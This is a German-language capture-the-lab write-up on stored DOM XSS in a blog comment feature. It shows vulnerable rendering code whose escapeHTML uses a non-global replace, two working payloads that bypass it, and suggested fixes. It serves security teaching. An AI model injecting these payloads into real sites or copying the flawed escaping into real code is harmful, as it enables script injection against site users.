> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/xss/stored-dom-xss.md).

# DOM-Stored-XSS

### Gespeichertes DOM-XSS

Dieses Labor demonstriert eine im Blog-Kommentarfeld gespeicherte DOM-Schwachstelle. Um das Labor zu lösen, verwenden Sie diese Schwachstelle, um das `alert()` Funktion aufruft.

wenn Sie das klassische `Skript` in den Kommentarbereich einfügen:

```javascript
<script>alert(0)</script>
```

Wir bemerken, dass die Website einen Teil des Kommentars löscht.

<figure><img src="/files/bbdaacab7f5d3a15275ca7583619d1864ee01998" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3f21b9c2a95741cfdb7ebab81f363898cdc7f6d9" alt=""><figcaption></figcaption></figure>

Die Funktion ist:

```javascript
function loadComments(postCommentPath) {
    let xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (this.readyState == 4 && this.status == 200) {
            let comments = JSON.parse(this.responseText);
            displayComments(comments);
        }
    };
    xhr.open("GET", postCommentPath + window.location.search);
    xhr.send();

    function escapeHTML(html) {
        return html.replace('<', '&lt;').replace('>', '&gt;');
    }

    function displayComments(comments) {
        let userComments = document.getElementById("user-comments");

        for (let i = 0; i < comments.length; ++i)
        {
            comment = comments[i];
            let commentSection = document.createElement("section");
            commentSection.setAttribute("class", "comment");

            let firstPElement = document.createElement("p");

            let avatarImgElement = document.createElement("img");
            avatarImgElement.setAttribute("class", "avatar");
            avatarImgElement.setAttribute("src", comment.avatar ? escapeHTML(comment.avatar) : "/resources/images/avatarDefault.svg");

            if (comment.author) {
                if (comment.website) {
                    let websiteElement = document.createElement("a");
                    websiteElement.setAttribute("id", "author");
                    websiteElement.setAttribute("href", comment.website);
                    firstPElement.appendChild(websiteElement)
                }

                let newInnerHtml = firstPElement.innerHTML + escapeHTML(comment.author)
                firstPElement.innerHTML = newInnerHtml
            }

            if (comment.date) {
                let dateObj = new Date(comment.date)
                let month = '' + (dateObj.getMonth() + 1);
                let day = '' + dateObj.getDate();
                let year = dateObj.getFullYear();

                if (month.length < 2)
                    month = '0' + month;
                if (day.length < 2)
                    day = '0' + day;

                dateStr = [day, month, year].join('-');

                let newInnerHtml = firstPElement.innerHTML + " | " + dateStr
                firstPElement.innerHTML = newInnerHtml
            }

            firstPElement.appendChild(avatarImgElement);

            commentSection.appendChild(firstPElement);

            if (comment.body) {
                let commentBodyPElement = document.createElement("p");
                commentBodyPElement.innerHTML = escapeHTML(comment.body);

                commentSection.appendChild(commentBodyPElement);
            }
            commentSection.appendChild(document.createElement("p"));

            userComments.appendChild(commentSection);
        }
    }
};
```

* Das `escapeHTML(HTML)` die Funktion maskiert nicht **dass das erste** Vorkommen von `<` und `>` (Verwendung von `replace` einfach).
* Da der Code dann `innerHTML` zum Einfügen von Werten verwendet, können bösartige Tags erhalten bleiben und vom Browser interpretiert werden.
* Das Filtern ist daher nur für das erste Vorkommen wirksam; die folgenden Vorkommen bleiben verwundbar.

<figure><img src="/files/f9b45bc7c4c13982b6400d75c0dd17fc9c12306c" alt=""><figcaption></figcaption></figure>

* Verwenden Sie eine globale Ersetzung (`replaceAll` oder einen globalen regulären Ausdruck), um **alle** Vorkommen von `<` und `>`.
* Verwenden Sie nicht `innerHTML` für unzuverlässige Daten; bevorzugen Sie `textContent` oder `createTextNode`

<figure><img src="/files/eaa616ed541282ad031cbf031e1dd51a22eb6330" alt=""><figcaption></figcaption></figure>

Ausnutzbare Payloads

* Schließen und ein Skript einschleusen:

```javascript
<><script>alert(0)</script>
```

* Einen Bildfehler erzwingen, um `onerror:`

```javascript
<><img src=0 onerror=alert(0)>
```

Diese Payloads funktionieren, weil nur wenige Zeichen umgewandelt werden und weitere Vorkommen von `<`/`>` interpretierbar bleiben.

<figure><img src="/files/90df1d206b8303ec21b14ca283a9448d80695d46" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web/xss/stored-dom-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
